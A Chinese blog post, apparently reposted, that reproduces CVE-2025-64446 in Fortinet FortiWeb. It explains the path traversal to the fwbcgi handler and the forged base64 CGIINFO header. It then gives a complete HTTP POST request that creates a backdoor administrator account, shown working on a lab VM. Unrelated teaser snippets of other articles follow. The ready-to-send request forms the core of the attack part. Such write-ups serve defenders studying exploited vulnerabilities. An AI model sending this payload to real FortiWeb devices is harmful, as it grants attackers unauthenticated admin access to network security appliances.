news 2026/4/16 12:40:46

复现Fortinet FortiWeb高危漏洞CVE-2025-64446:路径遍历与远程代码执行的组合攻击

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
复现Fortinet FortiWeb高危漏洞CVE-2025-64446:路径遍历与远程代码执行的组合攻击

复现CVE-2025–64446:Fortinet FortiWeb中的关键漏洞

在这篇短文中,我们将复现CVE-2025–64446,这是Fortinet FortiWeb中的一个关键漏洞。该漏洞的CVSS评分为9.8(关键),影响多个FortiWeb版本,包括7.0、7.2、7.4、7.6和8.0分支。

“从根本上说,FortiWeb CVE-2025–64446漏洞存在的原因是FortiWeb的GUI API处理器在处理之前未能正确验证或清理URL路径。攻击者可以制作一个恶意的HTTP请求,滥用相对路径遍历序列来突破预期的/api/v2.0/路由路径。在易受攻击的系统中,FortiWeb的Apache配置会在解析编码字符或折叠目录遍历标记之前,将任何以/api/v2.0/开头的请求转发到后端CGI处理器。这意味着,如下所示的精心构造的请求可以直接路由到内部的fwbcgi管理组件,而不是合法的API端点。” —— Picus Security

因此,正如Defused团队在X(原Twitter)帖子中所示,我们需要调用或触发如下所示的端点。这是可能的,因为存在路径遍历漏洞。另一个重要组件是“cgi-bin/fwbcgi”。

“CGI的认证函数cgi_auth信任一个名为HTTP_CGIINFO的用户提供头部。该头部包含base64编码的JSON字段,如usernameprofnameloginname。” —— Picus Security

因此,如下面的负载所示(来自X的帖子),我们只需要添加一个名为“CGIINFO”的自定义HTTP请求头部。对于其值,我们可以对{“profname”: “prof_admin”, “vdom”: “root”, “username”: “admin”,”loginname”: “admin”}进行base64编码,以冒充管理员用户。我们不需要知道管理员的密码。

/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

(来自Defused的X账户图片)

我们快速启动了一个Fortinet FortiWeb 8.0.0实例来尝试此漏洞利用。

(目标虚拟机运行在192.168.4.31的图片)

我们可以先在目标虚拟机上运行Nmap,检查有哪些监听端口。

(测试者在目标虚拟机上运行Nmap的图片)

我们还可以先尝试以管理员用户SSH到目标虚拟机,以在利用前检查当前的管理员用户。在FortiWeb CLI中运行“get system admin”。

(我们以管理员用户SSH到目标虚拟机后运行的命令图片)

负载
然后我们可以使用下面的负载来创建一个后门账户,这三个参数(nameaccess-profilepassword)是成功创建账户所需的最少参数。

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1 Host: <目标主机地址> Accept-Encoding: gzip, deflate, br Content-Length: 101 CGIINFO: eyJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsImxvZ2lubmFtZSI6ICJhZG1pbiJ9 Content-Type: application/x-www-form-urlencoded Connection: keep-alive {"data":{"name":"backdooruser1","access-profile":"prof_admin","password":"backdoorpass1"}}

(显示提供给CGIINFO自定义头部的base64值的图片)
(我们用于创建后门账户的负载图片)

最后,我们可以确认后门账户已成功创建。

(我们以backdooruser1用户SSH到目标虚拟机后运行的命令图片)

参考资料:

  • https://www.picussecurity.com/resource/blog/fortiweb-cve-2025-64446-vulnerability-path-traversal-leads-to-remote-code-execution
  • https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/
  • https://nvd.nist.gov/vuln/detail/CVE-2025-58034
  • https://x.com/DefusedCyber/status/1975242250373517373/photo/1
  • https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
  • https://horizon3.ai/attack-research/vulnerabilities/cve-2025-64446/

免责声明:
本博客提供的信息仅用于一般信息目的。虽然我总是力求准确,但某些细节可能不准确,提供的列表也可能不完整。尽管如此,我强烈建议在做出任何决定或采取行动之前,根据行业标准文档和官方来源(上面参考资料部分列出了一些)验证任何关键信息。此处表达的所有观点均为我个人观点,不代表我的雇主的观点或立场。
CSD0tFqvECLokhw9aBeRqtTv15RNmaHdiNZPviuVo928jJlaselhk65nWD039QZriEPK1A5gyFu0XLtW575tlrBbnW/rsV1/m+lpY3hEPCqmof5YgUCgvva1km4GQmVLA/J2t+6hp8+EtWy5cGV5eiHL72Jk4Q2ig8dS+OCcV8VXkciIiKrns9h5MXAJe7G0
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/12 0:05:24

专业企业网站建设指南:价格、流程、注意事项一次说清

在数字化浪潮席卷各行各业的今天&#xff0c;企业网站已不再是互联网世界的"可选装饰"&#xff0c;而是企业生存发展的战略必需品。它不仅是24小时在线的品牌展厅、业务窗口&#xff0c;更是连接客户、传递价值、驱动增长的核心数字枢纽。一个专业、高效、体验出色的…

作者头像 李华
网站建设 2026/4/16 11:04:26

微信小程序毕设项目:基于nodejs+微信小程序的垃圾分类和回收系统(源码+文档,讲解、调试运行,定制等)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/3/30 10:26:48

微信小程序毕设项目:基于springboot+微信小程序的话剧票务管理系统(源码+文档,讲解、调试运行,定制等)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/9 14:22:22

三招速查本机端口占用

1.如何查看本机端口占用 查看本机端口占用情况是网络调试、服务部署和故障排查的常见需求。不同操作系统提供了不同的命令行工具&#xff0c;以下是 Windows、Linux、macOS 三大平台的详细方法&#xff1a; ✅ 一、通用原理 操作系统内核维护一张 “网络连接与监听表”&#…

作者头像 李华
网站建设 2026/4/16 11:04:05

手搓HTML解析器:500行代码实现完整的DOM树构建

手搓HTML解析器&#xff1a;500行代码实现完整的DOM树构建引言&#xff1a;为什么需要理解HTML解析器&#xff1f;在Web开发中&#xff0c;DOM&#xff08;文档对象模型&#xff09;是我们与网页交互的核心接口。现代前端框架如React、Vue都构建在DOM之上&#xff0c;但很少有人…

作者头像 李华
网站建设 2026/4/16 10:43:20

STM32智慧路灯灯杆系统设计-太阳能风能风光互补-TP4056-升压-WiFi-高亮灯-光敏(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

23-270、STM32智慧路灯灯杆系统设计-太阳能风能风光互补-TP4056-升压-WiFi-高亮灯-光敏(设计源文件万字报告讲解)&#xff08;支持资料、图片参考_相关定制&#xff09;_文章底部可以扫码 产品功能描述&#xff1a; 本系统由STM32F103C8T6单片机核心板、太阳能电池板、风机发电…

作者头像 李华